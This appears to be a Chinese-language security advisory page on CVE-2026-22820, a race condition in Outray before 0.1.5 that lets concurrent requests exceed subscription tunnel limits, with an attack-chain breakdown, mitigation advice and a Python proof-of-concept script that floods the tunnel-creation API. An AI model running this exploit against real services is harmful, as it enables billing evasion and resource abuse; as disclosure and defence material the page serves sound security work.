IPBUF安全漏洞报告
English
CVE-2026-22820 CVSS 3.7 低危

CVE-2026-22820 Outray TOCTOU竞态条件漏洞可突破订阅隧道数限制

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-22820
漏洞类型
TOCTOU竞态条件
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Outray (开源ngrok替代方案)

相关标签

TOCTOU竞态条件Outrayngrok替代方案订阅绕过隧道数限制CVE-2026-22820

漏洞概述

Outray是一款开源的ngrok替代方案。在0.1.5版本之前,存在一个TOCTOU(Time-of-Check to Time-of-Use)竞态条件漏洞。攻击者可以利用该漏洞在并发请求的情况下,突破其订阅计划所设置的活跃隧道数量限制。正常情况下,系统应该根据用户的订阅等级限制同时运行的隧道数量,但由于检查(Check)和使用(Use)之间存在时间窗口,恶意用户可以通过快速发起多个隧道创建请求,在系统完成验证之前创建超出允许数量的隧道。该漏洞无需任何认证即可利用,攻击复杂度较低,CVSS评分3.7,属于低危漏洞。漏洞已被修复,修复版本为0.1.5。

技术细节

该漏洞的根本原因在于Outray对活跃隧道数量的检查存在竞态条件。在典型的TOCTOU攻击模式中,攻击者首先发起一个隧道创建请求,系统在T1时刻检查当前活跃隧道数量是否低于订阅限制。如果检查通过,系统在T2时刻实际创建隧道。攻击者在T1和T2之间的时间窗口内,通过并发请求快速创建多个隧道,使得在T2时刻实际创建时,总数已经超过了限制。具体来说,当多个请求同时到达时,多个线程可能同时通过检查(因为它们看到的是同一个当前数量),然后都执行创建操作,导致最终创建的隧道数量超出预期。修复方案需要在创建隧道时使用原子操作或加锁机制,确保检查和创建是一个不可分割的原子操作,防止并发请求绕过数量限制。攻击者无需认证,只需在客户端快速发送多个隧道创建请求即可利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者向Outray服务器发起第一个隧道创建请求,系统检查当前活跃隧道数量是否低于订阅限制
STEP 2
步骤2
在系统完成检查(T1)到实际创建隧道(T2)之间的时间窗口内,攻击者快速并发发送多个隧道创建请求
STEP 3
步骤3
多个请求线程同时通过检查(因为它们看到的是同一个未更新的活跃隧道数量),绕过数量限制
STEP 4
步骤4
所有并发请求的隧道都被成功创建,导致实际创建的隧道总数超过订阅计划设定的限制
STEP 5
步骤5
攻击者获得超出订阅允许数量的活跃隧道,可能用于扩大攻击面或逃避计费

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22820 PoC - Outray TOCTOU Race Condition # This PoC demonstrates exploiting the TOCTOU race condition # to exceed the active tunnel limit in Outray < 0.1.5 import asyncio import aiohttp import sys TARGET_HOST = "http://localhost:8080" # Adjust target host SUBSCRIPTION_TUNNEL_LIMIT = 3 # Adjust based on subscription plan NUM_EXPLOIT_TUNNELS = 10 # Number of tunnels to attempt creating async def create_tunnel(session, tunnel_id): """Attempt to create a single tunnel.""" try: async with session.post( f"{TARGET_HOST}/api/tunnels", json={ "name": f"exploit-tunnel-{tunnel_id}", "port": 8000 + tunnel_id, "protocol": "tcp" }, timeout=aiohttp.ClientTimeout(total=10) ) as response: if response.status == 200 or response.status == 201: return {"id": tunnel_id, "status": "success", "code": response.status} else: return {"id": tunnel_id, "status": "failed", "code": response.status} except Exception as e: return {"id": tunnel_id, "status": "error", "error": str(e)} async def exploit_toctou(): """Exploit the TOCTOU race condition by sending concurrent tunnel creation requests.""" async with aiohttp.ClientSession() as session: # Send multiple tunnel creation requests concurrently tasks = [create_tunnel(session, i) for i in range(NUM_EXPLOIT_TUNNELS)] results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r["status"] == "success") print(f"[+] Successfully created {success_count} tunnels") print(f"[+] Subscription limit was {SUBSCRIPTION_TUNNEL_LIMIT}") if success_count > SUBSCRIPTION_TUNNEL_LIMIT: print("[!] VULNERABLE: Exceeded subscription tunnel limit via TOCTOU race condition") else: print("[-] Not vulnerable or exploitation failed") return results if __name__ == "__main__": print("[*] CVE-2026-22820 Outray TOCTOU Race Condition PoC") print(f"[*] Target: {TARGET_HOST}") asyncio.run(exploit_toctou())

影响范围

Outray < 0.1.5

防御指南

临时缓解措施
如果无法立即升级,可通过在反向代理层(如Nginx)配置请求速率限制来缓解,同时监控活跃隧道数量异常。对于高安全要求的场景,可临时禁用隧道创建功能,等待官方修复版本发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表